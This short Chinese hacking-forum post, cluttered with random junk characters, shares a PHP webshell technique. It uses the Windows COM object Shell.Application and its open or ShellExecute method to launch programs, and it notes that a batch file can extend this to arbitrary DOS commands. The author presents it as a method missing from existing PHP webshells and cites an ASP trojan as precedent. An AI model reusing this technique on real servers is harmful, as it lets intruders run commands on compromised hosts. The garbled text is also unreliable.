关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。! d w3 T3 F) n" @. w, |& f; c, b
, C% c0 i) w' i# T5 D: `6 V% l U
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
$ r! \. ?8 J& S- Q* v" t$ g8 H
6 I5 K0 s+ |6 n& l: J* b* h# ~<?php
5 J3 A; a4 n" b$wsh = new COM('Shell.Application') or die("Shell.Application");) p8 d6 v) J2 r. ^5 f
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
4 s* d7 ?) {, M0 ] //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
6 [" ?1 [, E/ g?>/ Q7 [5 f1 \% ]; @
& M& r/ C6 b3 l- v, @) ~5 Qxp+APMServ5.2.0测试通过。
8 d- l2 a3 s" T' q2 ~" d4 D |